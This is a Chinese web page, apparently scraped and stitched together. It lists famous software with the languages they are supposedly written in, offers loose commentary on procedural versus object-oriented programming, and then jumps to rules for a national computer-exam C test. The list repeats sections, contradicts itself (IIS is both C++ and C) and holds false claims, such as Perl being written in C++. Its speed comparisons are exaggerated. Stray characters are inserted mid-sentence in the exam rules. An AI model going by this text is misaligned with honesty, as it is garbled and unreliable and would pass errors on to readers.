十、ERP軟體 (企業應用)

SAP mySAP ERP : C,後主要為「ABAP/4」語言

Oracle Peoplesoft : C++ -> Java

Oracle E-Business Suite : Java



十一、商業智能(Business Intelligence )

Business Objects : C++



十二、圖形處理

Adobe Photoshop : C++

The GIMP : C



十三、搜索引擎

Google : 匯編 與 C++,主要為C++



十四、著名網站

eBay : 2002年為C++,後主要遷至Java

facebook : C++ 和 PHP

This line is only about facebook, not its plugins. Plugins can be developed in many different technologies, thanks to facebook's ORB/application server, Thrift. Thrift contains a compiler coded in C++. facebook people write about Thrift: "The multi-language code generation is well suited for search because it allows for application development in an efficient server side language (C++) and allows the Facebook PHP-based web application to make calls to the search service using Thrift PHP libraries." Aside the use of C++, facebook has adopted a LAMP architecture.

阿里巴巴和淘寶: php->C++/Java(主要用)



十五、 游戲 :

匯編、C、C++

星際爭霸、魔獸爭霸、CS、帝國時代、跑跑卡丁車、傳奇、魔獸世界.... 數不勝數了,自己數吧

都是用C++開發的,C++語言靠近系統地稱,執行速度最快。比如你的兩個朋友與你分別玩用VB、Java、與C++編寫的「跑跑卡丁車」,你玩C++編寫的 游戲 已經跑玩結束了,發現你的兩個朋友還沒開始跑呢,那是相當的卡啊,



十六、編譯器

Microsoft Visual C++ 編譯器: C++

Microsoft Visual Basic 解釋、編譯器: C++

Microsoft Visual C# : 編譯器: C++

gcc (GNU C compiler) : C

javac (Sun Java compiler) : Java

Perl : C++

PHP : C



十七、3D 引擎

Microsoft DirectX : C++

OpenGL : C

OGRE 3D : C++



十八、Web Servers (網頁服務)

Apache : C和C++,主要為C

Microsoft IIS : C++

Tomcat: Java

Jboss: Java



十九:郵件服務

Microsoft Exchange Server : C->C++

Postfix : C

hMailServer : C++

Apache James : Java



二十:CD/DVD 刻錄

Nero Burning ROM : C++

K3B : C++



二十一:媒體播放器

Nullsoft Winamp : C++

Microsoft Windows Media Player : C++

Microsoft Windows Media Player : C++



二十二:Peer to Peer (P2P軟體)

eMule : C++

μtorrent : C++

Azureus : Java (圖形界面使用基於C/C++的SWT,類Eclipse)



二十三:全球定位系統(GPS)

TomTom : C++

Hertz NeverLost : C++

Garmin : C++

Motorola VIAMOTO : 2007年6月,停止服務。 Java。



二十四:3D 引擎

Microsoft DirectX : C++(相信玩 游戲 的同學都知道這個,現在最高版本是DX11)

OpenGL : C

OGRE 3D : C++


二十五:伺服器軟體

Apache: C

Nginx: C

IIS: C


二十六:其他相關

OpenStack: Python

綜述

著名的軟體一般是系統軟體,軟體一般都分為系統軟體和應用軟體。開發軟體分為一次開發和二次開發,比如開發操作系統(系統軟體),就是一次開發;在操作基礎上進行應用軟體的開發,比如開發 游戲 ,就是二次開發。


一次開發的系統軟體,要直接調用硬體資源,必須使用簡單、直接的底層語言和中層語言,比如匯編和C語言;二次開發應用軟體等,因為應用軟體的類別比較多的,針對的情況比較復雜和具體,因此可以選擇的語言很多,比如,大數據人工智慧方面的有Python;安卓手機APP就是Java等等。

這里還有一個誤區,其實語言不重要,每種語言都差不多,重要的是開發環境和編程思想。要學習編程開發,學的不是語言,而是對於開發環境工具的使用和編程思維的錘煉。很多著名的軟體都是用C等底層語言編寫的,但是也可以用其他語言編寫,不過很少學C了,其中有商業的原因。(後面會解釋)

集成開發環境軟體

計算機語言是不可以單獨拿出來說的,比如我們說C語言,指的是C語言編譯器,而Python語言,指的是Python解釋器。而編譯器和解釋器卻都是用C語言編寫,是不是很意外,所以著名的軟體一般都是系統軟體,使用的是C語言,一個語言就要初中水平就可以學會了,但必須了解IDE開發環境。


要使用計算機語言,就必須安裝編譯器,或者是解釋器,程序員是在TXT文本上編寫語言的,用編譯器可以一次性編譯為可執行文件exe,用解釋器則可以逐條翻譯成機器語言並逐條執行。編譯器速度快,解釋器可以跨系統,到了別的系統,不需要程序員改寫程序,換一個解釋器就行了。

IDE集成開發環境具備圖形操作界面、編譯器、調制器、控制台,是非常重要的開發工具的,只會一個計算機的語言語法,卻不會使用IDE,基本上是沒用的!

編程思想

很多著名的軟體都是使用C等底層語言編寫的,而且所用的都是編譯器。當然還有另外一個原因,就是編程思想,C語言是面向過程,Python是面向對象。很明顯,一次開發的系統軟體肯定是面向過程的,而面向具體使用場景的應用軟體肯定是面向對象的。


高手可以自由使用編程思想、程序編寫時,交替使用各種語言、切換解釋器或者編譯器,達到隱藏核心代碼目的;又或者軟體的核心模塊採用C等底層代碼,保證軟體的運行速度。畢竟開發時都是模塊化的,不同模塊使用不同的方法都是可以的!

所以很多著名的軟體,往往是混合著各種語言,核心部分是C,其他部分則根據不同的情況選用不同語言,之所以會這樣做,是因為使用C開發軟體要耗費大量的時間太。摩爾定律推動硬體發展,軟體開發也受到影響,一個軟體晚幾天推出市場,效果完全不同,所以程序員經常加班趕工,速度才是最重要的。

總結

如上所述,著名的軟體是使用C等底層語言、編譯器語言、面向過程的語言編寫的,更多的是在一個軟體的核心部分使用C等底層語言、編譯器語言、面向過程的語言,其他則見機行事。

現在主流的語言是java、python和go

『玖』 計算機二級C語言考試規則

你好!規則如下
1、考生憑准考證和身份證(或戶口本、軍人身份證)參加考試,缺一不可。 2、筆試開考前30分鍾入場,對號入座,考試中將兩證放在課桌右上角接受檢查。上機
考試交驗兩證。 3、進入考場只能攜帶鉛筆、橡皮、尺子、鋼筆、圓珠筆旅陸等必備工具,不得攜帶具有存儲功能的計算器、電子詞典、mp3等其他工具和物品。手機等通訊工具一律關閉上交,考試中發現使用通訊工具者視同作弊。 4、開扒鎮游考後15分鍾不得入場,筆試結束前不得離開考場。 5、開考信號發出後,才可開始答題。考試終止信號發出後,應立即停止答題。筆試結束,試卷、答題卡、答題紙放在桌上不得帶走,待監考人員收齊清點之後才能退場;上機考試結束,按要求處理好機器後才能退場。 6、考生發現試卷字跡不清、卷面缺損,磁碟損壞,可舉手示意監考人員處理,有關考試題目內容的問題不得提問。 7、答題卡選擇題用2B鉛筆填塗,填空題用藍(黑)色鋼筆或圓珠筆答題。(用筆顏色以准考證為准,黑色簽字筆在有的省春銷市是指定用筆) 8、保持考場安靜,不得吸煙,不得喧嘩[4]